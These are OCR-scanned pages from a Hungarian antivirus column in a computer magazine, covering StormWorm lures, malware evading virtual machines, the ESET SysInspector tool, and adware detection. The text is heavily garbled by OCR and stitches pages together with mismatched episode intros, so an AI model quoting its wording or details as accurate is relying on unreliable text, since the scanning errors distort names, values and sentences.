feldolgozdsanal, hogy elemzéstikkor
egy virtudlis gépen torténik a tesz-
telés, amely azt vizsgdlja, hogy mi-
lyen bejegyzéseket, allomanyokat
hoz létre, milyen internetes akti-
vitdst mutat, hogyan torténik ma-
ga a fert6zés. Ezzel kevéshé veszé-
lyes terepen lehet adatokat gydjte-
ni a kdrtevékrdl, raaddsul a vizsgalat
gyorsan és olcsén végezhetd.

Ha hianyzé kodekcsomagot vagy Active-X modult
javasolnak letdltésre, legylink résen!

rusvédelmi fegyvertarbél. A virtua-
lis kisrnyezet , leleplezése” olyan il-
legalis utasitasok végrehajtasaval
torténik, amely a fizikai hardveren
hibatizenetet generdl, mig a virtua-
lis gépben nem. A kartevd készitdi
ezzel igyekeznek lassitani és gatol-
ni a viruslaborok eredményes mun-
kdjat — és sajnos gyanithatéan az
tjabb virusokban is szerepel majd
ez a tritkk.

Enekelte a Pink Floyd, na meg

a Queen, és igy is van, az élet nem
allhat meg, megy tovabb, mind-
két oldal tanul a térténésekbdl, és

ETV0lr online achvities aro 1o longar sata:

Fie Edt Vew Tos Message Heb

& ® v S X ©

Reply  Reply Al Forward Print Delete.

From:  uty@ficster.com
| Date: 06 Seotember 2007 17:32
To: - —

Subject:  ¥our oniine activites ae na longer safe.

TEE
T

Addresses

HAHAHAHAHAHA, man your insane!

onina freak, check it out yoursslf

Posted by varieky A

got hitter

sheesh man, what are you thinkin
You can ses your face right in the video, its all over the wsb dude. here is the link |

@ [ @ Iiterner| Geschumzter Modus Tnakitiv @ wuwi -

=2Clu1weng

A StormWorm altal irt blogbejegyzéshen szereplé linknél vegyuk észre,
hogy az valéjaban nem a YouTube oldalra mutat, hanem valamilyen kétes

IP cimmel jelélt weboldalra vezet

mind a , rosszfidk”, mind a védel-
mi programok fejlesztdi folyamato-
san csiszoljak, javitjak a technikd-
kat. A jovében majd okostelefon-
jaink, GSM- vagy autés navigdcids
rendszeriink, esetleg a Skype Vo-
IP-s kapcsolatunk kerdil sorra, és saj-

A hamis jatékletolt6 oldal gyereknek és
felnéttnek egyarant vonzo célpont lehet Ll

nos bizton allithatjuk, a kartevék
fejlédése itt sem fog megallni. A Sky-
pe 3.2 verzi6ja mar lehetdvé te-

szi, hogy Pay-Palon keresztil pénzt
utaljunk. Valészindleg mar lezajlot-
tak az el6késziiletek a csaldssal sze-
rezhetd konnyi pénzkeresetet re-
méldk oldalan. Létestiltek mdr ol-
dalak a felfedezett és kihasznalhatd

sebezhetdségek adasvételére is, és

Ggy tdnik, a séralékenységek szama
sziinni nem akard dradatként egyre
csak gyarapodik.

Cikkiink végére értink: kicsit stir-
litzesen igy lehetett didhéjban &sz-
szefoglalni a Viharféreggel kapcso-
latos tavalyi térténéseket.
Biztos, hogy 2008-ban is
hallani fogunk réla, sokak
szerint ugyanis ez az ed-
digi legsokoldaliibb, leg-
jobban rejtézkodd és leg-
megtévesztGbb karteve.

Talan nem tdlzds azt al-
litani, hogy a hollywoo-
di forgatékanyvirok
Gjabb sztrdjkja utan akar
a StormWorm brigadot is
fel lehetne fogadni 6tlet-
gyarnak, ugyanis a meg-
feleld csali kiGtlésében
szemldtomast mindig ak-
tivak és sziporkazok.

Kérjik kedves olvasdin-
kat, ha a témdban kérdésiik, hozza-
szolasuk van, juttassak el hozzank
(velemeny@pcworld.hu).

Csizmazia Istvan,

virusvédelmi tandcsado
Sicontact Kft.,, a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

KAPCSOLODO WEBOLDALAK

www.eset.com/threat-center/blog

www.f-secure.com/weblog

Everyone who is trading fles ie being raced. Ifthe RIAA finds you

they will come after you. Our program wil climinate any trace to you

eep your sight 1o privacy safe, and dswnload our software for fiee
93,93 163,179

Fenyegetd vagy csalogaté levélbdl mindig van raktaron, a kénnyelmiiek
elcsabitasara
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www.viruslist.com/en/weblog
www.symantec.com/enterprise/security_response/weblog
theinvisiblethings.blogspot.com

blog.metasploit.com
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cp2/pvp ©p €9

Acikkben jelzett ingyenes programok
megtalalhatok a lemezmellékleten

Bigyo feliigyelo

Sorozatunk hetedik epizdédjaban a legsebezhetdbb operacios rendszer, a Windows folyamatairal,
illetve karokozok allomanyainak és processzeinek megtévesztd neverol lesz szo. Ennek kap-
csan bemutatunk egy olyan segédprogramot, amellyel kicsit alaposabban is szemiigyre vehetjik
a gép belso folyamatait.

z (;j NOD32 3.0 és az ESS
A (ESET Smart Security) komp-

lett védelmi csomagja mellé
érkezett még egy tovabbi tjdonsag
is: egy SysInspectornak nevezett és *
jobbéra hozzaértéknek ajanlott di- T

7 ESET Sysinspector

er

Detait: [Full Mtems Fitering: (& rr———rmmm— Fin:

ESET S

(Risk | evel 1.9} Find:

Stelus Seclion: RUDNING Processes » SMSs.exe

Running pr -~ Type Paih

agnosztikai program, amely ugyan- e — ol o I === =

csak érdekes dolgokra képes. A 32 A

és 64 bites Windows rendszerekhez :_‘ = 3

készilt, és telepités nélkil, azon- = A program segitségével nemcsak
nal futtathaté a Syslnspector.exe al- = az egyszerii felhasznalok tudnak

lomdny inditdsdval, majd a gép tel-
jesitményétdl fiiggSen egy-két per-
ces varakozas (tesztelési ciklus) utan
egy szép, Vista stilust ablak jele-
nik meg. Ez az adott rendszer szoft-
ver- és hardverkdrnyezetérsl min-
den részletre kiterjedd informacié-

diagnosztikai vizsgalatot végezni,
de a gyanus esetek kivizsgalasanal
oy o 1 clwindows system32ismss. exe a szakért6 kezében is aranyat ér. Ha-

Internal Name  smss eve marosan megjelenik végleges angol
Product Name  Microzoft® Vindows® operacics rendszer P =
nyelvii valtozata

] it

[} (][] ] [

FileVersion 5.1.2600.2180 (xpsp_sp2_rim.040803-2158)
Campany Name: Mcroscrt Corperation

FileDescription Windows NT munkamenet-kezeki

FileSize 50688

SHA1 1 ADFSFE4377DES0BFR499040R301 FIAN5CARS224, Py N P
4z operacios rendszer hasznos és in-

Creation Time  200200/23 22:00

kat jelenit meg egy fastruktdrdban,
az alabbi csoportositds szerint:

Elsé helyen a futé folyamatokat
(Process) lathatjuk: ez a csomdpont
részletesen kibontja a gépen futd
osszes folyamat és alkalmazas lista-
jat. Ebben a hivatkozott DLL-konyv-
tarak is fel vannak tintetve.

A kovetkezd csoport neve hélo-
zati kapcsolatok (Network Connec-
tions); itt kapunk egy listat azokrél
az alkalmazasokrél, amelyek TCP
vagy UDP protokollon keresztiil ha-
l6zati forgalmat bonyolitanak le, va-
lamint ellendrizhetjik az aktualis
DNS- (Domain Name System) szer-
verbedllitdsokat is.

Miért fontos ez?

Kalon kategériat képeznek a rend-
szerleir6 adatbazis fontosabb be-
jegyzései (Important Registry Ent-

L@

A Microsoft Windows futé folyamatai természetesen az 1-es kategériaban

eveznek

matikus végrehajtdssal kapcsolatos
(autostart) részek szerepelnek, hi-
szen szamos kartevd igyekszik ezek
manipulalasaval gondoskodni ar-
rél, hogy a kartékony kéd a gép Gj-
rainditdsa utan automatikusan le-
fusson. Ezen a listdn taldlhatok még
a szintén lehetséges tdmadasi felti-
letet ad6 belépéssel (Winlogon), va-
lamint a BHO-val, azaz a bongé-
sz6-segédobjektumokkal (Browser
Helper Object) kapcsolatos infor-
maciok, és természetesen a tama-
dasok kedvelt célpontjat jelentd In-
ternet Explorerre vonatkozé adatok
sem maradhattak ki.

A kovetkez6 csoportban a szerviz-
folyamatok (Services) kaptak helyet:

futd folyamatot megjelenit a prog-
ram. A Microsoft Windows futé fo-
lyamatai példaul az 1-es kategori-
aban szerepelnek. Itt érdemes egy
konkrét kartevét is megemliteni, le-
gyen példaul a december havi sta-
tisztikdban is el6keld helyen sze-
repl6 Win32/Jeefo.A virus (www.
nod32.hu/virus/jeefo-a).

Ezt a kérokoz6t 2003 nyardn ész-
lelték eldszor, és érdekessége, hogy
megtévesztéstil egy svchost.exe
nevdi llomanyt hoz létre a Win-
dows konyvtdrdban. Az igazi svchost

tegrdns része (eredeti nevén Gene-
ric Host Process for Win32 Services),
és mindig Windows/System32 map-
paban taldlhaté. A Jeefo. A a fert6-
zés alkalmaval elkédolja az alloma-
nyokat, illetve egyes esetekben a fer-
t6z6tt féjlban hasznos tertleteket is
feliilir, igy az méikodésképtelenné is
valhat, tehdt elég veszélyesnek itél-
hetjik. Ha esetleg szamitgépuinkre
nincs megfelel6 virusfigyel6 program
telepitve, akkor a FeladatkezelSben
(TaskManager) laikus szdmdra nehéz
feladat lehet a tébbféle svchost.exe
folyamat kozott atldtni a helyzetet,
de a SysInspector ilyenkor is segithet.
Szintén megtaldljuk a szamitd-

gépre telepitett eszkozok meghajto-

o g2 L2 " , 2 LG
ries). Ezek kozil els6ként az auto- itt minden rendszerszolgaltatdsként  —rgmm vnnown (oK Loveis 5) =% =
Running processes b thunderbird.exe try Entries b Standard Autostart » HKLMISOFTWARE MicrosoftWindows'CurrentVersion\Run
Status Key Vahie Status File
=t Important Registry Entries
: \:. + Standard Autostart -
i ~ HKLMISOF TWARE Microsoftiwindows\CurrentVersionun @ £, Ur
Ve3250 ol e B Run Startughanito Startup! ®E
il Fine » Shell Execute Hooks LN
2 ol 1: Fine
1+ Fine
il 1" Fine:
! f: Fine
4 m 5
@ ciprogram filesimozilla thunder birdthunder bird.exe
4 n »
Internal Name  Thunderbire -
Product Hame  Thunderbiret ;
FileVersion  1.81.9 2007105104 B c:iwindowsistartupmenitor.exe
= CompanyMName Mozila Corporation £ =
FileDescription Mazila Thunderbird FileSize 86016
ions FileSize 8473855 SHA 93FB3DDET532C4399D627BCEADSBIIEATASTDETE
SHA1 1251ECS2D56A943A4CD4BEDOSFTSF17626283CA2 Creation Time 200000520 1823
Signer WazRa Corporation Last Write Time 200000520 162
Creation Time 20070619 1924
Linked t Running
Iy Entries Last Wirite Time 2007/1116 13.20 repe .
Linked to Rur ia pr Sses thunderbrd exe Linkedto
Linked to es - th \Program FilesMozila Thunderbirdithun » Linked to Important Registry Entries oftl
w4 [ 0 »

Itt a felligyel6 kissé rancolja a homlokat, mert a StartupMonitor fontos rendszer-

Ebben a nézetben mar a hivatkozott DLL-kényvtarak is fel vannak tiintetve véltozékkal keriil kapcsolatba, és az alkalmazas egyelére ismeretlen szamara
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ESET Sysinspector

ESET SysInspector

ltems Filtering: ewr=r=  mee——— ks

A kilonféle bejegyzések eltérd, egy kilencfokozati veszélyességi skalan
szereplé értékhez tartozé szamot viselnek

Ellefés  Vissza  Nyomiatés Bedli

kulgsszat
command
applcation usage -
important registry ertri¢
tems fitering these parameters
navigating /gen
networl connections running GUI
orogram cortrols y P
runring processes Privacy
shorcuts /zp
starting o /help
system nformation parameters
user interface

Examples

Generate directly

Megiekeni
4

Tattclom  Targymutae 4 | » | . =
Adja meg a keiesenda
Command line utility control

ESET SysInspector supports generating reports using from command line using
- generate report directly from command line without
- generate

- stores resulting report on disk directly in compressed file
- display information about usage of command line

Load directly specific report into browser: "SysInspector.exe c:\clientiog.xml"

“SysInspactor.exe /gen=c:\mynewlog.xml"
Generate report excluded from sensitive information in dwectly compressed
file: " Sysinspector.exe /gen=c:\mynewlog.zip /privacy /zip"

report with excluded sensitive information E

repart from command line:

A parancssori futtatasnal a /privacy kapcsol6 segitségével visszatarthatjuk a
bizalmas személyes informacidkat, illetve riportot is készithetink kozvetle-

niil egy csomagolt ZIP-allomanyba

programijait (Drivers) is. Ez a fuil ki-
listazza az Osszes szoftver- és hard-
verilleszt6 programot, részletes
verzioszammal, gydrtéval, datum-
mal és egyéb adatokkal.

Korabban mar emlitettiik a Re-
gistry AutoRunnal kapcsolatos be-
jegyzéseit, de nem ért tudni, hogy
az tjrainditds utani beavatkozasok
nemcsak a rendszerleiré adatbazis-
sal végzett triikkozés révén befo-
lydsolhat6k, hanem léteznek olyan
nevezetes, kritikus Windows-allo-
manyok (Critical Files), amelyek vé-
delme kiilon szot, illetve védelmet
érdemel. Ebbe a csoportba a win.
ini, system.ini és a hosts fajlok tar-
toznak. A Win.ini és a System.ini
megvaltoztatdsaval példaul az Au-
toStart folyamatokat lehet manipu-
[&lni, mig a hosts dllomany médosi-

1- Syminternais: www.sysinternais.com

Fle Eniy Cotoe Lemr Heln

e \Curent ConinotSe\Controf T sminal § 5
- Microsot Coporaton

o HKLMSS OF TWARE Miciosol Wi
¥ G Coan Backu.
9@ i

Vohime M Exi2Vokine M. a2l

© \windowss
e \windaw

< \pregiam I
€ \proguam f

tasaval elérhetd, hogy bizonyos we-
boldalak ne mdkodjenek. Az ilyen
atirdnyitasokkal egy tdmado pél-
ddul megakadélyozhatja a bizton-
sagi programok frissitéseit, de az
adathaldszok is elGszeretettel szok-
tak a hosts mérgezését alkalmaz-

ni arra, hogy egy megbizhaté web-
hely helyett egy masik URL-re térit-
sék az dldozat bongészjét.

Az adott szamit6gép feltérképe-
zését segiti a részletes rendszerin-
forméci6 (System Information) me-
niipont is. Itt az operdci6s rendszer
adatait, kornyezeti véltozdit, a tele-
pitett szoftverek és frissitési csoma-
gok listdjat, valamint a bejelentke-
zett felhaszndlék adatait és jogosult-
sagait szemrevételezhetjiik.

Ugyancsak kilon kiemelve latjuk
viszont a fontosabb fjlokat (File

[~ JEE3

S dppint [ 5 Koowris | @ wrisgon | & wimockPiowden | PiiHonton | 0 LsaPiowdens | Network Prowidens
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A Sysinternals altal készitett AutoRuns segédprogram is jo szolgalatot tehet

egy alapos ellendrzés soran

The program

Orbit

has registered the executsble

C:\Program Files\Orbitdownloader\orbitdm. exe
ko run at system startup.

Do you wish to allow this change?

A mar korabban emlegetett Star-
tupMonitor éberen figyeli, ha egy
alkalmazas egyutt probal indulni a
rendszerrel. Itt éppen az artalmatlan
és igen hasznos Orbit Downloader
letoltésvezérlé programra kérdez ra

Details). Ebben a csoportban pedig
a fébb rendszerfdjlok, a telepitett
végrehajthaté llomanyok részletes
informacidit taldljuk.

Tobbféle sziirési lehetSséggel is
élhettink az adatok megjelenitése-
kor: a teljes adatmennyiséget a Full
médban, egy kézepes informacio-
halmazt a Medium, mig egy sz(ik
Osszefoglalét a Basic médban kap-
hatunk. Emellett a kiilonféle bejegy-
zések eltérd, egy kilencfokozatd ve-
szélyességi skaldn szerepl6 értékhez
tartozd szdmot viselnek. A szdzsza-
zalékosan ismert, kozismert és meg-
bizhaté allomany, folyamat, elem
kapja az 1-es besoroldst, a bizton-
sagosnak t(in6, de a program szd-
méra jelenleg ismeretlen az 5-6s
szdmmal van jelSlve, mig az ismert,
de kértékony objektumok a nagyon
veszélyes, 9-es csoportba keriilnek.
Ezt a kilenc csoportot is ki lehet is-
tdzni, vagyis vaddszhatunk a ki-
[onféle veszélyeztetettséget jelen-
t6 elemekre is. Emellett természete-
sen ott van a szabad szavas keresés,
ahol egy beirt keres6szé minden
el6fordulasat vizsgalhatjuk.

A fejlesztk természetesen a pa-
rancssori futtatdst kedveld képzett
felhasznélokat és a rendszergazdakat
sem felejtették ki a szamitasukbdl: a
program grafikus feltilet (GUI) nélkal,
a parancssorbdl is indithaté egyedi
kapcsoldkkal, st XML- vagy ZIP-al-

% Trend Micro HijackThis - v2.0.2

checked' button. Scan results do not dete

Below arethe resuks ofthe hyackThs scen. | = ranem\ what you celete with the Fix
an itemis bad or nat. The
best thing to do Is to ‘AnalyzeThis' and shw ths Iwﬁ\a to kncwledgeable faks,

lomanyba képes kiilonféle tartalmd
riportokat generalni. Ezeket utdla-
gosan is lehet elemezni, hiszen ma-
gaba a SysInspectorba a kiils ripor-
tok egyetlen kattintdssal beolvasha-
tok. Természetesen az is nagy eldny,
hogy egy ilyen riportot probléma
esetén kannyen el tudunk kildeni

a technikai tdmogatdst végzG support
munkatérsnak tovabbi vizsgdlatra.

Szinte minden egyben
Régéta léteznek mdr hasonl6 prog-
ramok, hogy csak az ismertebbeket
emlitsiik: a Sysinternals (www.sysin-
ternals.com) Autoruns, ProcessMoni-
tor és ProcessExplorer alkalmazdsai,
valamint a Startup Monitor (www
mlin.net/StartupMonitor.shtml),

a HijackThis (www.spywareinfo.com/
~merijn/), a System Information for
Windows (SIW) (www.gtopala.com).
Mindenesetre az ESET Syslnspector
egy jol osszedllitott és hadra foghat6
univerzalis eszkoznek latszik a kdrte-
vék ellen folytatott harcban.

A Syslnspector futtatdsahoz valéban
minimdlis rendszerkovetelmények tar-
sulnak: 32 vagy 64 bites Intel vagy
AMD processzor, NT-alapti Microsoft
(2000, XP, Vista, Server 2003) ope-
racids kornyezet, 35 megabdijt sza-
bad memoria, illetve 2 megabiit sza-
bad hely a merevlemezen. A program
egyel6re még béta-llapotban van
(www.eset.eu/download/beta), de
varhatéan hamarosan megjelenik a
végleges angol nyelv{j valtozata, ame-
lyet az ESET vésdrléinak ingyenesen
bocsét a rendelkezésére.

*k¥

Kérjilk kedves olvasdinkat, ha a té-
maban kérdésiik, hozzaszélasuk
van, juttassak el hozzank (vele-
meny@pcworld.hu).

Csizmazia Istvan,

virusvédelmi tandcsad6
Sicontact Kft.,, a NOD32 antivirus
magyarorszdgi képviselete
antivirus.blog.hu
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kb tupMonitor] SEEtpmiite

S(m&f& stuff
AnalyzeThis
Upload to TrencSecwre
" Info on soleckod ko, M

thotray exs”

Other stuff

Info... Config...

#Add checked to ignerelist

A HijackThis program tapasztalt felhasznalok kezében hasznos segitség az indité

bejegy k és h 16 kény

teriiletek ellenérzésében
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3 -F A Virusok Varazslatos Vilaga

Az nem lehet, hogy valami nem sornyito!

Sorozatunk nyolcadik epizédjdban a kéretlen rekldmprogramokrél lesz szd. Azt mér tudjuk, hogy
ezek nem virusak, és nem is férgek, s6t még kdrtevének sem szabad nevezni dket, mert kildnben
vaskos pereket veszlink a nyakunkba. Jé lenne tudni, mennyire veszélyesek, hogyan kerllnek gé-
plinkre, és féképp: miként szabadulhatunk meg télik? A cikk végére minden kideridl.

emcsak a virusok, férgek és
N tréjai programok veszélyez-

tetik mindennapjainkat, ha-
nem kéretlen reklamprogramok és
a szamitdgépes szokdsainkat fiir-
készd kémprogramok is lesben all-

nak. Létezik egy érdekes kategoria,
a greyware szoftvereké, Ez a sziirke

zéna: ide a legalitas és illegalitas
peremén egyenstlyozd alkalmaza-
sok tartoznak. Ezek a veszélytelen
szoftverek és a Kifejezetten rosszin-
dulatd kirtevék kéizé esnek, és faj-
tajukat tekintve mint reklamprogra-
mok (adware), kémprogramok (spy-
ware) vagy nyomkévetd programok

Security Warning 5'

Do you want to install and run "(zfter accepling our
agieements| PrecisionTime/Datetanager, free 10 second
GAIN ad-supported downloads that display [i] exact
time/date, and (il GAIN-branded ads selected based on
websites you view? Click here to read our agresments
Click Yes to accent" signed on 7/7/2003 3:48 PM and
distributed by:

The Gator Corporation

Publisher authenticity vesified by VeriSign Class 3 Code
Signing 2001-4 CA

Caution: The Gator Corporation asserts that this content is
sale. ‘You should only install/view this content if you trust
The Gator Corporation to make that assertion.

I~ Always trust content from The Gator Corporation

A Win32/Adware.Gator az egyik legrégibb versenyzé a kéretlen reklamprog-
ramok mezényében

{trackware) jelen-
nek meg egyre na-
gyobb szamban

az interneten, Né-
mely virusvédelmi
kereskedd évato-
san (gy hivja Sket:
PUP (Potentially
Unwanted Prog-
rams) — magyarul
valdszin(leg feles-
leges vagy kéretlen
programok, Ez az
ij kategéria azért
nyerhetett |étjogo-
sultsdgot, hogy el-

Ha kival ka &l Theal,

y k keresése
opcibt, a Mr. és Mrs. Smith videofilmet véds Settec
Alpha rootkit is felk 1 @ NOD32 védelmén

| s g kertilhetdk legye-
e nek az olyan tirvé-
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s0ur med o) S . e E e
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A Command Service sem egy atlagos szereplé: megprébd eltavolitani minden
mas reklamprogramet gépunkrél (eddig erilunk) azért, hogy aztan egyedil ter-
peszkedhessen rajta, és jelenitsen meg hirdetéseket (mégsem lesz a baratunk)

vagy sem; illetve torvényes-e, hogy
a virusvédelmi alkalmazasok karte-
viként jelilik meg az & kétes prog-
ramjukat. Néhany esetben raada-
sul legdlis szoftverekben is eldfor-
dulhat ilyen szoftver-, csatolmany”.
Ezek legdlis vagy rosszindulatd mi-
valtuk szintén a rejtézkadés mér-
tékétdl figehet. Amig a jelenlétok
néha egészen nyilvanvalé, példaul
jonnek a felugré (pop-up) ablakok,
vératlan helyekre iranyft benniin-
ket a webbiingészd, és igy tovabb —
szinte mindig komoly figyelmet for-
ditanak arra, hogy megakadalyoz-
zak tényleges allomanyaik észlelését
és eltavolitasat, Némelyek ezt tgy
kommentdljak, hogy ezen a terepen
lehet a rootkit vagy rootkitjellegl
technoldgit legalis célokkal is hasz-
nalni, és ily médon valéban legydz-
heték az operdcids rendszerek hid-
nyossdgai, amikor az adatok elrejté-
sérdl van szo.

Vitathaté a vedelmi cégeknél ez
a kiilsnbségtétel a reklim- és
a kémprogramok kézétt, ha az em-
ber a tirvényesség hataran egyen-
silyoz. Ujraalkotva a ,greyware”
fogalmat, és dltalanosabb magya-
razattal élve a megkiilonbéztetés
kibangsilyozasara, a NOD32 lénye-
gesen részletesebb irdnyitasi lehe-
téséget adott a felhasznalék kezébe
maér a korabbi verzioktdl kezd 5dé-
en, és még pontosabban irja le ezt
az egyre homalyosabb teriiletet.
Néhany reklamcég és felhasznalsi
aktivitast kivetd vallalat arrdl pa-
naszkodik, hogy a felismerdk szoft-
veriiket reklam- vagy kémprogram-

ként azonositjak. A NOD32 mar

a 2.7-es valtozataban bevezetett
egy Uj felismerési kategoriat Kéret-
len alkalmazasok (Potentially Un-
wanted Applications) néven, Ide
tartozik minden reklimjellegi alkal-
mazds, amely nem sziikségképpen
rosszindulatd; mikedésiiket egy fel-
hasznaloi licencszerzddés (EULA) fi-
gyelmetlen elfogaddsakor mi ma-
gunk engedélyeztiik, létezik hozza
uninstall lehetdség és igy tovabb.
Bar nem mindig rosszindulatu, az
adware altalaban feleslegesen ter-
heli a szamitdgépek tarald- és me-
mériakapacitasat, ami hatranyosan
hat annak teljesitményére, meghiz-
hatdsagara és stabilitasara. Ezzel
még nem okoz biztonsagi kockdza-
tot, de dnmagaban is rendkivil hosz-
szanté és zavard probléma a fel-
hasznaldk szamara.

Raadasul néhany allitélagos reklam-
program esetéhen erdsen megkér-
ddjelezhetd médszereket hasznalnak
mind a felhasznaldk tajékoztatasakor,
mind pedig a program telepitésekor.
Az ilyen reklamprogramok hossza (ki-
nyomtatva akar tbb tucat oldalas) és
bonyolult megfogalmazasi felhasz-
naldi licencszerzddést tartalmaznak.
Olyan dsszeteviket is magukban fog-
lalhatnak, amelyek a mikidési kor-
nyezethen jogosulatlan valoztats-
sokat visznek véghez, csendesen te-
lepitik magukat, sét feltigyelhetik az

coz/ovp () €9

Acikkben jelzett ingyenes programok
megtalalhatok a lemezmellékleten
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A Virusok Varazslatos Vilaga

(J ESETMOD32 Antivirus

|l Protection status
-

Q Computer scan 3
@ Update
B s

¥y oot

On-deman:

Q

Scan progress

Number of threats: O
Pause |

@ Help and support T

an setup

Display: Advanced mode

Target: C:\Program Files\Commen Files\System\msade\es-CZ

1d computer sean

ESET NOD32 Antivirus gives you the option 10 increase the security of your
computer by URAING 3 MARUSI 2can.

36%

alkalmazast: példankban ez most az
Ultimate FX Painter rajzprogram lesz.
Természetesen gépiinkn fuk virus-
irtd, naprakész adatallomanyokkal.
Mint azt korabban mar emlitettik,
a NOD32 lényegesen részletesebb
iranyitasi lehetdséget ad a felhasz-
naldk kezébe a tirvényesség hatd-
rin egyensilyozé kétes reklam- és

kémprogramok esetén, gy mad nyflik

[ swop I
a veszélyes alkalmazasok, a kéretlen
. alkalmazasok és kiilén a reklam- és
&
ﬂa mnvender

Home > Software » Beveiliging

Gyanl esetén ne sajnaljuk az idét, il-
letve a faradsagot, és végezzink egy
teljes virus- és kémprogram-ellenér-
zést, minden opciét bekapesolva

esetleges eltavolitasi kisérleteket is —
ekkor észrevétleniil Gjratelepiilhet-
nek, vagy pedig egyaltalin nem, vagy
csak alig mikodd uninstallalasi lehe-
téséget nydjtanak.

A NOD32 ezekre is mar egy dtkeresz-
telt kategdridt alkalmaz, a korabhi
Valészinlileg veszélyes alkalmazis
{Potentially Dangerous Applications)
helyett a Valdszinileg nem bizton-
sagos alkalmazas (Potentially Unsa-
fe Applications) elnevezés szerepel,
Ez a kategéria tartalmaz minden ke-
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Ez a Spyware Terminator nem az, amit mindenki ismer. A ¢supan hasonlé nev(i
is utanunk

holland termék egy ¢salard all

amely r

2 bz ersl v r b v leen odil

reskedelmi forgalomban megjelent
billenty(lettés-naplézst (keylogger),
tavoli adminisztracidt lehetdvé tevd
alkalmazast fremote administration
tools), IRC-csevegdkliens programo-
kat és minden olyan eszkizt, ame-
lyet eredeti rendeltetésiiktdl eftérd-
en rosszindulatd célra is hasznalhat
nak a crackerek és
a karteviik készitdi.
Az dvatosabh fel-
hasznalok szeretik,
ha az ilyen alkal-
mazasoktol is meg-
védik Gket, vagy
legalabb egy figyel
meztetést kapnak,
ha mér ilyen prog-
ram fut a gépikiin,
Ez a tovabbiej-
lesztett felosztas

A NOD32 és a Smart Security is képes szlrni a kiild
kéretlen alkalmazasi kategériakat — ezt az opciét viszont

nekiink kell bekapesolni!

License Agreement

2

Please r=ad the: following Licenss Agraement. Use the scioll bar or press
the Page Down key to view the rest of the agreement.

agy jelenik meg,
hogy a felhaszna-
lénak maganak kell
eldéntenie, akar-e
élni ezzel a lehetd-
séggel; a telepités-
kori alapértelme-

fitne:ss for & paniculal putpose. of noninfringement. The
entire rick arising out of use of peiformance of the SOFTWAR
[PRODUCT remains with you.

zett &llapota a ki-
E kapesolt.

its suppliers be liable for any damages whatsoever [including,
without limitation, damages for loss of business profits,
business intenuplion, loss of business informalion, or ur\v
olher pecuniary loss) arising out of the use of or inabilily

use this SOFTWARE

IADVISED OF THE POSSIBILITY DF SUCH DAMA

NO LIABILITY FOR DAMAGES. In no event shall Aureate Media of

FHIZIDLII:’T EVEN IFAUHEME MED!A HAS BEEN
GES.

A kéretlen rekldim-
« | programck néha

< Back I Yes

Do you accept all the teims of the preceding Licerse Agreement? If you choose
No, Setup will close. To install Ulimate FX. you must accept this agresment.

teljes ticokban,
néha azonban fi-
gyelmetlenségiink

Mintha Hamupipdkének kellene kivilogatni

mubél. Aki a sokoldalas szerz&désben észreveszi a gyanus
kitételt — ahelyett hogy automatikusan rékattintana

a NEXT gombra -, annak &szinte elismerési

| | miatt képesek tele-
alencsét a ha- plilni gépiinkre, Te-
lepitsiink egy rek-
ldmkamponenst

nk hordozé ingyenes

még

mazasok keresése opcid szintén
hasznos lehet, killénasen rootkites
védelmek esetében — annak ide-

jén a Mr. és Mrs. Smith videofilmnél
azonnal felismerte a kirtevit, Alig-
hogy elinditjuk a masodik telepitést,
azonnal kapjuk a riasztdsi ablakot, sét
tihbet is, hiszen az Adware Aurate
minden komponensét azonositja.

A reklamprogramok irtdsa, illetve
trlése utan két eset lehetséges. Az
eredeti program mikédéképes ma-
rad, de az is elképzelhetd, hogy
a reklamprogramok épségét figyel-
ve megtagadja az lizemszerd miko-
dést. Most szerencsénk volt: a rajz-
program a mentesités utan tékéle-
tesen miikadik, és a nemkivanatos
reklamprogramoktél is sikeresen
megszabadultunk.

Az adware és az ehhez hasonld prog-
ramokat tehat a NOD32 nem neve-
zi kartevének, nehogy jogi prohlé-
makba Gtkdzzon, de azért képes ha-
tékony védelmet nydijtani elleniik.
Mindamellett nem art tudni, hogy
szamos legdlisnak mondott szoftver
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A Virtumonde tréjai futasa kozben killdnféle kéretlen felnyilé ablakokat jelenit
meg, és megkisérel néhany tovabbi kartékony komponenst letélteni

kémprogramok keresésére is. A kisér-
let elsé részében az allanddé védelem
bedllitasanal a reklam- és kémprogra-
mok elleni védelmet nem kapcsoljuk
be. Indulhat a telepités, és itt maris
egy fontos momentumhoz érkeztiink:
tiz emberbél kilenc nem szokta ala-
posan végigohvasni a felhasznaléi li-
cencszerzddést, pedig sokszor mar itt
is le van irva, hogy az ingyenességért
cserébe reklamok megjelenitését kell
elviselniink. lgy esetiinkben sem ti-
tokhan telepiil a kéretlen rekldmkom-
ponens, az Aurate, hanem a felhasz-
nald jovahagyasdra, még ha az figyel-
metlen is volt.

Szedjik le tehit a programot, majel
telepitsik Gjra, ezittal azonban a va-
l6s idejd védelemnél vélasszuk ki
a rekldam- és kémprogramaok elleni
modult is. Erdemes megjegyezni,
hogy az Ugynevezett veszélyes alkal-

is képes jelentds sebezhetdségeket
okozni egy PC-n.

Kérjuk kedves olvasdinkat, ha a téma-
ban kérdésiik, hozzaszolasuk van,
juttassdk el hozzank (velemeny@

pewaorld.hu).

Csizmazia Istvan,

virusvédelmi tanacsado

Sicontact Kft., a NOD32 antivirus

magyarorszagi képviselete

antivirus.blog.hu

KAPCSOLODO WEBOLDALAK

Az ESET honlapfa: www.eset.eu
A NOD32 magyar honlapja:
www.nod32.hu

Az ,adware” a Wikipédian:
en.wikipedia.org/wiki/Adware

2008 APRILIS ¢ PC WORLD | 55



POl Ll Ll Ll Ll l Ll lllllllllll Ll

@® & AVirusok Varazslatos Vilaga

Az a gyanus, ha nem gyanus

Sorozatunk nyolcadik epizodjaban a kéretlen reklamprogramokrol lesz sz6. Azt mar tudjuk, hogy
ezek nem virusok, és nem is férgek, s6t még kartevonek sem szabad nevezni 6ket, mert kiilonben
vaskos pereket vesziink a nyakunkba. Jé lenne tudni, mennyire veszélyesek, hogyan keriilnek gé-
plinkre, és foképp: miként szabadulhatunk meg télik? A cikk végére minden kiderdl.

orozatunk kilencedik epizd-
S jdban a viruskeresés techni-

kdjarol lesz sz6. Roviden at-
tekintjik, mivel ad tobbet, illetve
mast a hagyomanyos adatbazis-ala-

pu (szignattra szerinti) kereséshez
képest a heurisztika.

A kiilonféle viruskeressk lassan mar
hisz esztendeje veliink vannak. Bar
a kezdeti DOS-os vilagban parancs-
soros és Turbo Pascal-szer(i meniis
eszkozoket hasznéltunk, a legelsd
idékben kizarélag a minta alapjan
